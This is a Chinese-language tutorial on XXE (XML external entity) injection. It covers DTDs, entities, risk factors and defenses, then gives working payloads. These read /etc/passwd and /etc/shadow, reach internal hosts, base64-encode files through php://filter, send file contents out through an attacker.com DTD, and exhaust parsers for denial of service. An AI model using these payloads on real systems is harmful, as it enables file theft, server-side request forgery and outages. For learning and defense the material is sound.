91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

XXE的基本概念和利用方式是什么

發布時間:2021-07-16 10:06:11 來源:億速云 閱讀:571 作者:chen 欄目:網絡管理

本篇內容主要講解“XXE的基本概念和利用方式是什么”,感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷,實用性強。下面就讓小編來帶大家學習“XXE的基本概念和利用方式是什么”吧!

XXE的基本概念和利用方式

本文側重于對XXE原理和概念的總結,簡化了細節性的內容。本文從black hat EU 2013 XML Out-Of-Band Data Retrieval、Out-of-band XML External Entity (OOB-XXE)等優質文章中節選了部分具有代表性的內容進行翻譯。在保證術語準確性的前提下,盡量精簡。

0x00 參考文獻

什么是XML外部實體(XXE)攻擊

帶外XML外部實體(OOB-XXE)

XML Out-Of-Band Data Retrieval

XML外部實體處理

A4:2017-XML External Entities (XXE)

0x01 概述

XXE

XXE全稱XML External Entity Injection,也就是XML外部實體注入。

它是對解析XML輸入的應用程序的一種攻擊。當配置不當的XML處理器處理包含對外部實體引用的XML輸入時,就會發生此攻擊。

XML的作用

XML 被設計用來傳輸和存儲數據,其關注點是數據的內容。 XML 旨在傳輸信息。要解釋XML數據,應用程序需要XML解析器。

XML文檔可以是特定類型。您可以通過指定類型定義在文檔中聲明此類型。XML解析器會在處理文檔之前驗證XML文檔是否遵守此類型定義。您可以使用兩種類型的類型定義:XML架構定義(XSD)或文檔類型定義(DTD)。XXE漏洞發生在“文檔類型定義”中。

什么是DTD(文檔類型定義)

DTD(文檔類型定義)的作用是定義 XML 文檔的合法構建模塊。 DTD的聲明:指XML文檔中聲明該文檔的DTD或DTD來源的部分,可以包含在使用它的XML文檔內部,也可以以獨立的DTD文檔(*.dtd)文檔存在。

所以DTD一般認為有兩種引用或聲明方式:

1、內部DTD:即對XML文檔中的元素、屬性和實體的DTD的聲明都在XML文檔中。

2、外部DTD:即對XML文檔中的元素、屬性和實體的DTD的聲明都在一個獨立的DTD文件(.dtd)中。

DTD文檔的三種形式:

內部DTD類型:<!DOCTYPE 根元素[子元素聲明]>

外部DTD類型:<!DOCTYPE 根元素 SYSTEM "DTD文件路徑">

內外部DTD文檔結合:<!DOCTYPE 根元素 SYSTEM "DTD文件路徑" [定義內容]>

在XXE中最常用的是內部DTD類型。

在DTD內,我們可以聲明外部實體。

什么是XML實體(ENTITY)

實體是用于定義引用普通文本或者特殊字符的快捷方式的變量。

XML實體幾乎可以來自任何地方-包括外部資源(因此稱為XML外部實體)。

在DTD中的實體類型,一般分為:內部實體和外部實體,細分又分為普通實體和參數實體。

實體的具體分類

預定義:&ampamp;&amplt;&amp#37;

內部實體:<!ENTITY 實體名稱 "實體的值">

外部實體:<!ENTITY 實體名稱 SYSTEM "URI/URL">

內部實體和外部實體統稱為普通實體

普通實體的引用方式是&普通實體名;

參數實體:<!ENTITY % 實體名 "實體內容">

參數實體的引用方式是%實體名;

普通實體和參數實體可能是:

內部的(定義在當前DTD中)

外部的(定義在外部資源中)

可能造成XXE的風險因素

該應用程序解析XML文檔

實體的系統標識符部分,文檔類型聲明(DTD)中允許使用受污染的數據

XML解析器配置為驗證和處理DTD

XML解析器配置為解析DTD內的外部實體

XXE的影響

本地文件讀取

內網訪問

主機掃描/端口掃描

遠程代碼執行(不常用)

拒絕服務攻擊

防御

盡可能使用簡單的數據格式(如JSON),并避免敏感數據序列化

修補或升級XML處理器和庫。使用依賴項檢查器。

在應用程序的所有XML解析器中禁用XML外部實體和DTD處理

服務器端使用白名單輸入驗證,過濾或清理,防止XML文檔、表頭、節點內的惡意數據。

XML或XSL文件上傳功能使用XSD(XML架構定義)驗證傳入的XML。

SAST根據檢測源代碼中的XXE。

使用虛擬補丁程序,API安全網關或Web應用程序防火墻(WAF)來檢測和阻止XXE攻擊。

0x02 利用方式

本地文件讀取

當用戶的輸入在響應中回顯,這種XXE被稱為基于報錯的XXE。

攻擊者可以使用XML實體。這是因為您不必在XML文檔中定義XML實體。實際上,XML實體幾乎可以來自任何地方-包括外部資源(因此稱為XML外部實體)。這就是XXE成為服務器端請求偽造(SSRF)攻擊的一種類型。

XXE的基本概念和利用方式是什么

攻擊者可以使用URI(在XML中稱為系統標識符)創建以下請求。如果將XML解析器配置為處理外部實體(默認情況下,許多XML解析器都配置為處理外部實體),則Web服務器返回系統上的文件,可能包含敏感數據。

<?xml version="1.0" encoding="ISO-8859-1"?> 
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM
"file:///etc/passwd">
]>
<foo>
&ampxxe;
</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/shadow" >]>
<foo>&ampxxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]>
<foo>&ampxxe;</foo>

當然,攻擊者不僅限于獲取系統文件。他們可以輕松竊取包括源代碼在內的其他本地文件(如果他們知道Web應用程序的路徑和結構)。使用某些XML解析器,甚至可以獲取目錄列表以及本地資源的內容。XML外部實體攻擊甚至可以使攻擊者向本地網絡上的文件發出常規HTTP請求(即只能從防火墻后面進行訪問)。

<?xml version="1.0" encoding="ISO-8859-1"?> 
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM
"http://192.168.0.1/secret.txt">
]>
<foo>
&ampxxe;
</foo>

但是,這種方法在實際應用會受到一定的限制:

XXE僅可用于獲取包含格式正確的XML文件或響應

XXE無法用于獲取二進制文件

獲取的文件必須有足夠的權限

無法獲取非常大的文件,如/dev/random/dev/zero,會導致拒絕服務攻擊。

XML限制的解決方法

CDATA(字符數據)

訪問帶有XML特殊字符(如&<>)的文本文件

XML解析器將忽略CDATA(字符數據)標記中的特殊XML字符。

<data><![CDATA[ < " ' & > characters are ok here ]]></data>

參數實體

具體方法見通過HTTP進行數據讀取

PHP協議包裝器

PHP協議包裝器是允許訪問PHP輸入和輸出流的I / O流。

攻擊者可以使用php://filter協議包裝程序對文件的內容進行Base64編碼。由于Base64將始終被視為有效的XML,因此攻擊者可以簡單地在服務器上對文件進行編碼,然后在接收端對其進行解碼。此方法還具有允許攻擊者竊取二進制文件的附加好處。

請求:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY bar SYSTEM
"php://filter/read=convert.base64-encode/resource=/etc/fstab">
]>
<foo>
&ampbar;
</foo>

帶外out-of-band(OOB-XXE)

一、通過HTTP進行數據提取

前置知識:參數實體

除了通用實體,XML還支持參數實體。參數實體僅在文檔類型定義(DTD)中使用。

參數實體以%字符開頭。此字符指示XML解析器正在定義參數實體(不是一般實體)。

前置知識:帶外攻擊

XXE攻擊有兩種類型:帶內和帶外。

帶內XXE攻擊更為常見,攻擊者可以立即收到對XXE payload的響應。對于帶外XXE攻擊(也稱為盲型XXE),Web應用程序不會立即做出響應。

利用帶外XXE漏洞的過程類似于將參數實體與帶內XXE一起使用,并且涉及創建外部DTD(文檔類型定義)。有一個主要區別:使用這種類型的攻擊,攻擊者需要XML解析器向攻擊者控制的服務器發出附加請求。這是讀取本地文件的內容必需的。

原理

攻擊者向目標服務器發送惡意的XML請求。

目標服務器上的XML解析器首先處理參數實體,該實體加載本地文件,如/etc/passwd

接下來,XML解析器向位于攻擊者服務器上的DTD文件發出請求。

目標服務器下載攻擊者的DTD,XML解析器處理攻擊者的DTD文件后。攻擊者DTD中的參數實體會創建一個通用實體。通用實體中包含著一個訪問攻擊者服務器的URL。該URL中包含本地文件內容(例如:http://attacker.com/collect.php?collect=root:!:0:0::/:/usr/bin/ksh)。

最后,在構造好URL后,XML解析器將處理通用實體,這將向攻擊者的服務器發出包含文件內容的請求。

攻擊者在服務器日志上可以看到請求記錄,并從中獲得目標文件。

XXE的基本概念和利用方式是什么

以下是攻擊者如何利用帶外(OOB)技術利用參數實體竊取敏感數據的示例。

請求

POST http://example.com/xml HTTP/1.1
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM
"file:///etc/passwd">
<!ENTITY % dtd SYSTEM
"http://attacker.com/evil.dtd">
%dtd;
]>
<data>&ampsend;</data>

攻擊者的DTD(attacker.com/evil.dtd)

<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?collect=%file;'>">
%all;

攻擊進行如下:

XML解析器首先處理%file參數實體,該實體加載文件/ etc / passwd。

接下來,XML解析器向位于http://attack.com/evil.dtd的攻擊者的DTD文件發出請求。

XML解析器處理攻擊者的DTD文件后,%all參數實體創建一個名為的通用實體&send,其中包含一個URL。該URL包含文件內容(例如http://attacker.com/collect.php?collect=root:!:0:0::/:/usr/bin/ksh)。

最后,在構造URL之后,XML解析器將處理&send實體,這將向攻擊者的服務器發出請求。

攻擊者可以在其終端記錄請求,并從日志條目中重建文件。

二、通過FTP進行數據提取

三、DNS查詢

XXE Attacks — Part 2: XML DTD related Attacks

結論

帶內和帶外XML外部實體注入(XXE)漏洞非常嚴重,幾乎影響解析XML文檔的所有Web應用程序。XXE可用于導致拒絕服務以及從本地服務器竊取系統文件和源代碼。攻擊者還可以使用XXE對內部網絡上的其他服務器發起服務器端請求偽造(SSRF)攻擊。

XML Dos攻擊

定義一個實體,遞歸引用。

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY bar "World ">
<!ENTITY t1 "&ampbar;&ampbar;">
<!ENTITY t2 "&ampt1;&ampt1;&ampt1;&ampt1;">
<!ENTITY t3 "&ampt2;&ampt2;&ampt2;&ampt2;&ampt2;">
]>

或者定義一個大實體,并且多次引用。

如果是Unix系統,可以在DTD中引用外部實體,用file協議讀取

/dev/random

文件。

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///dev/random" >]>
<foo>&ampxxe;</foo>

這種攻擊會使XML解析器內存過載。一些XML解析器會自動限制它們可以使用的內存量。

遠程代碼執行

RCE可以通過XXE在php應用程序中實現,但是這非常少見。只有目標系統加載了php的Expect模塊(默認禁用),才有可能實現。另外,php7不支持expect模塊。

XXE在php應用程序中更容易利用。因為php提供了許多URL處理方法,流裝飾器和數據過濾器,這會增加攻擊面。

默認情況下,php支持外部實體。

到此,相信大家對“XXE的基本概念和利用方式是什么”有了更深的了解,不妨來實際操作一番吧!這里是億速云網站,更多相關內容可以進入相關頻道進行查詢,關注我們,繼續學習!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

xxe
AI

墨竹工卡县| 平乐县| 宁陕县| 高雄县| 县级市| 石景山区| 吕梁市| 个旧市| 津市市| 上虞市| 留坝县| 朝阳市| 永福县| 石阡县| 专栏| 太仓市| 新乡县| 资阳市| 云南省| 炉霍县| 弥勒县| 巴南区| 曲靖市| 柳州市| 灵璧县| 林州市| 九台市| 葫芦岛市| 环江| 富顺县| 长岛县| 达尔| 郁南县| 公安县| 盐山县| 永仁县| 汾西县| 钦州市| 云林县| 临安市| 新密市|